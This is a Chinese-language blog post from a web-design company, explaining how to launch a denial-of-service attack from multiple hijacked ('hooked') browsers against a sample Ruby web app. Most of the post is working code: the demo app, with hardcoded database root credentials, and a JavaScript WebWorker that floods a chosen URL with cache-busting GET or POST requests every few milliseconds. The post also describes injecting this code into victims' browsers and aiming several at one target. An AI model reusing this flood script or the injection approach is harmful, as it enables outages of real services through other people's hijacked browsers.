十年专注于品牌网站建设 十年专注于品牌网站建设,低调、高逼格、有情怀的网络应用服务商!
南昌百恒网络微信公众号 扫一扫关注
小程序
tel-icon全国服务热线:400-680-9298,0791-88117053
扫一扫关注百恒网络微信公众号
扫一扫打开百恒网络微信小程序

百恒网络

南昌百恒网络

为您介绍使用多个勾连浏览器DDoS的方法

百恒网络 2017-07-24 196

对Web应用的DoS攻击,不一定要从攻击者控制的操作系统上发起。挤压痛点的HTTP请求可以从任何Web浏览器中发出,甚至可以从多个浏览器中同时发出。对于后一种情况,实际上就是分布式拒绝服务攻击(Distributed Denial-of-Service,DDoS)。

下面南昌网络公司小编以下面这个简单的Ruby Web应用为例,为大家做个演示。

它接受两个请求:一个POST请求,期待两个参数用于向MySQL数据库中插入(insert)新数据;一个GET请求,通过联结(join)两个表来查询同一个数据库。

require 'rubygems'

require 'thin'

require 'rack'

require 'sinatra'

require 'cgi'

require 'mysql'

class Books < Sinatra::Base

post "/" do

author = params[:author]

name = params[:name]

db = Mysql.new('127.0.0.1', 'root', 'toor', 'books')

statement = db.prepare "insert into books (name,author)

values (?,?);"

statement.execute name, author

statement.close

"INSERT successful"

end

get "/" do

book_id = params[:book_id]

db = Mysql.new('127.0.0.1', 'root', 'toor', 'books')

statement = db.prepare "select a.author, a.address, b.name

from author a, books b where a.author = b.author"

statement.execute

result = ""

statement.each do |item|

result += CGI::escapeHTML(item.inspect)+"

"

end

statement.close

result

end

end

@routes = {

"/books" => Books.new,

}

@rack_app = Rack::URLMap.new(@routes)

@thin = Thin::Server.new("172.16.37.150", 80, @rack_app)

Thin::Logging.silent = true

Thin::Logging.debug = false

puts "[#{Time.now}] Thin ready"

@thin.start

光看代码,大家可能就会发现应用的痛点了。对数据库表的联结涉及两个表,其中一个是POST请求会更新的表。如果你能同时发送多个POST请求,同时又执行多个GET请求,那么联结操作就会随着数据增加而繁忙起来。

通过勾连浏览器跨域发送多个HTTP请求的最好方式是使用WebWorker。这样基本不会影响页面渲染和浏览器的其他操作。WebWorker是HTML5引入的,包括IE10在内的所有现代浏览器都支持,是一种在后台线程中执行脚本的机制。在WebWorker中运行的代码不能直接修改页面的DOM,但可以发送XHR请求。

那么要启动一个WebWorker任务应该怎样做呢?南昌网络公司小编温馨提醒大家,我们可以这样做,请看以下代码:

var worker = new Worker;

worker.onmessage = function (oEvent) {

console.log('WebWorker says: '+oEvent.data);

};

var data = {};

data['url'] = url;

data['delay'] = delay;

data['method'] = method;

data['post_data'] = post_data;

/* 把配置发给WebWorke */

worker.postMessage(data);

这里的postMessage()用于在运行JavaScript勾连代码的DOM与WebWorker之间共享数据。

WebWorker的代码可以像下面这样写:

var url = "";

var delay = 0;

var method = "";

var post_data = "";

var counter = 0;

/* 通过postMessage取得数据 */

onmessage = function (oEvent) {

url = oEvent.data['url'];

delay = oEvent.data['delay'];

method = oEvent.data['method'];

post_data = oEvent.data['post_data'];

doRequest();

};

/* 给URL添加随机参数,避免缓存 */

function noCache(u){

var result = "";

if(u.indexOf("?") > 0){

result = "&" + Date.now() + Math.random();

}else{

result = "?" + Date.now() + Math.random();

}

return result;

}

/* 每delay毫秒发送一次POST或GET请求 */

function doRequest(){

setInterval(function(){

var xhr = new XMLHttpRequest();

xhr.open(method, url + noCache(url));

xhr.setRequestHeader('Accept','*/*');

xhr.setRequestHeader("Accept-Language", "en");

if(method == "POST"){

xhr.setRequestHeader("Content-Type",

"application/x-www-form-urlencoded");

xhr.send(post_data);

}else{

xhr.send(null);

}

counter++;

},delay);

/* 每10秒通知一次调用者发送了多少请求 */

setInterval(function(){

postMessage("Requests sent: " + counter);

},10000);

}

如果你把这段代码注入两个不同的勾连浏览器,让它们都向前面讲到的那个Ruby Web应用发送请求,就会看到资源占用逐渐增加。图1展示了应用正常使用过程中的系统负载。

正常的系统负载

图1 正常的系统负载

使用前面的JavaScript代码启用WebWorker之后,可以看到负载稍微增加了一些,如图2所示。

使用一个勾连浏览器时的系统负载

图2 使用一个勾连浏览器时的系统负载

在另一个勾连浏览器中启用另一个WebWorker,每10毫秒发送一个POST请求之后,可以通过图3看到系统负载明显的变化。与图2相比,负载的变化非常大。这是因为一个浏览器在不断发送POST请求,会导致执行数据库插入语句。而与此同时另一个勾连浏览器又在发送GET请求,会导致联结查询的数据集在每个请求之后都会变大。这些后台活动导致了负载增加。

在找到类似的Web应用痛点后,不一定非要通过数据库操作,通过上传文件也可以轻易对任何Web应用制造DoS风暴。如果你手中控制了多个勾连浏览器,那么相应的DoS攻击后果会更加严重,而且你可以让多个勾连浏览器都指向同一个目标,让每一秒钟的并发请求数量激增。

使用两个勾连浏览器时的系统负载

图3 使用两个勾连浏览器时的系统负载

以上就是南昌百恒网络小编为大家介绍的关于使用多个勾连浏览器DDoS的方法,说了那么多不知道大家都学会了没有?如果还有哪些不明白的地方,可随时来电和我们联系。此外,如有南昌网站建设、微信开发、手机APP开发等方面的需要,百恒网络将随时为您效劳!


400-680-9298,0791-88117053
扫一扫关注百恒网络微信公众号
扫一扫打开百恒网络小程序

欢迎您的光顾,我们将竭诚为您服务×

售前咨询 售前咨询
 
售前咨询 售前咨询
 
售前咨询 售前咨询
 
售前咨询 售前咨询
 
售前咨询 售前咨询
 
售后服务 售后服务
 
售后服务 售后服务
 
备案专线 备案专线
 
×